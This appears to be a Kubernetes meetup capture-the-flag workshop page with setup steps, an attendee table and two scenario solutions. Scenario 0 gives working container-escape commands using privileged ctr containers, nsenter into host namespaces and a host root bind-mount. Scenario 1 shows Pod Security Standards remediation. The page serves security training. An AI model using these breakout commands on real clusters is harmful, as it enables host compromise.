---
# System prepended metadata

title: Kubernetes Nürnberg (CNCF Meetup) v13

---

# Kubernetes Nürnberg (CNCF Meetup) v13
<br>

![ege](https://d33wubrfki0l68.cloudfront.net/08faa64f6c7be055ed0f5d9aacc1c419e4cb4fab/83f5c/img/logo-black.svg)
<br><br>

<img src="https://i.imgur.com/aDIh0Yv.png"  width="150" height="200"> [**First half of the book Hacking Kubernetes available for free!**](https://control-plane.io/hackingkubernetes/)


## Provisional Agenda

* Welcome & Introduction
* Setup
* Scenario 0
* Scenario 0 Summary
* Scenario 1
* Scenario 1 Summary
* Wrap-Up


## Setup

- Set your name into the `Attendee IDs` table below .

- [Credentials Here]()

- Download the `*.tar` bundle from your room directory in the Google Drive link above

```bash=
tar xf *.tar.gz
ssh -i cp_simulator_rsa -F cp_simulator_config -o IdentitiesOnly=yes -oUserKnownHostsFile=./cp_simulator_known_hosts bastion
```

This will connect you into your cluster. Please type yes when asked if you want to continue to connect.

* Flags are in the format: `flag_ctf{...}`

* Join Slack to discuss with the TaskMaster (Ludo) https://join.slack.com/t/nuernberg-meetup/shared_invite/zt-1qa2eqfdy-f6GtbJdDJF9BoEMhgYduAg

## Scenarios


### Scenario 0 - "CI Runner Breakout"

During penetration testing of a client kubernetes cluster, a vulnerability in a pod has been noticed.

The pod is part of the CI/CD build infrastructure and you are concerned that a compromised runner may lead to compromsied VMs.

Verify the vulnerability by breaking out of the CI runner pod.

solution 1

```shell
ctr i pull docker.io/library/alpine:latest 
ctr run -d --rm --privileged --with-ns pid:/proc/1/ns/pid docker.io/library/alpine:latest alp
ctr t exec -t --exec-id x alp nsenter --mount=/proc/1/ns/mnt -- /bin/sh
```

solution 2

```shell
ctr i pull docker.io/library/alpine:latest 
ctr run --mount type=bind,src=/,dst=/host,options=rbind:ro docker.io/library/alpine:latest alp4 cat /host/root/flag.txt
```


### Scenario 1 - "PSS Misconfiguration"

The platform team spent their Christmas holidays migrating from pod security policies to the new fancy standard, locking down the k8s fleet!

Nonetheless, an attacker stole a developer credential and has managed to run his own unconstrained Pod in the dev-app-factory namespace, to later pivot on the host.

How is that even possible?! Can you find a way to remediate this and ensure that the attacker Pod can't run anymore in the cluster?

**There are 3 flags to find, they'll be in secrets :)**

```shell
# 1. Overwrite namespace label - flag 1

$ kubectl label ns dev-app-factory pod-security.kubernetes.io/enforce=restricted --overwrite

# 2. Remove replicaset-controller exemption from psa-config.yaml file - flag 2

$ sed -i '/- system:serviceaccount:kube-system:replicaset-controller/d' /etc/kubërnëtës/psa-config.yaml

# 3. Delete attacker Pod once the configuration has been fixed, it' wont be admitted anymore due to PSS enforcing now - flag 3

$ kubectl delete $(kubectl get pods -n dev-app-factory --no-headers=true -o name) -n dev-app-factory
## Read the flags
# kubectl -n dev-app-factory get secrets 
NAME         TYPE     DATA   AGE
flag-gotit   Opaque   1      51s
flag-wasd    Opaque   1      2m22s
flag-xyz     Opaque   1      5m23s

```

## Attendee IDs

| Cluster | Name/Ident |
| --- | --- |
| Attendee 00 | Ludo |
| Attendee 01 |  PJ |
| Attendee 02 |  Bjoern  |
| Attendee 03 |  Jo |
| Attendee 04 |  Michi |
| Attendee 05 |  Max |
| Attendee 06 |  Chentex |
| Attendee 07 |  Felix  |
| Attendee 08 |   Alex |
| Attendee 09 |  Sammy |
| Attendee 10 |  Andreas |
| Attendee 12 |  jom |
| Attendee 13 | Simon  |
| Attendee 14 |  venc |
| Attendee 15 | Elias M  |
| Attendee 16 |  intin W |
| Attendee 17 | M  |
| Attendee 18 |   |
| Attendee 19 |   |
| Attendee 20 |   |
| Attendee 21 |  Joerg |
| Attendee 22 |  ChrisS |
| Attendee 23 |  Micha |
| Attendee 24 |   |
| Attendee 25 | Domin  |
| Attendee 26 |   |
| Attendee 27 |   Markus W. |
| Attendee 28 |   |
| Attendee 29 | Ludo  |
| Attendee 30 |   |
| Attendee 31 |   |
| Attendee 32 |   |
| Attendee 33 |  Martinar |
| Attendee 34 |   |
| Attendee 35 |   |
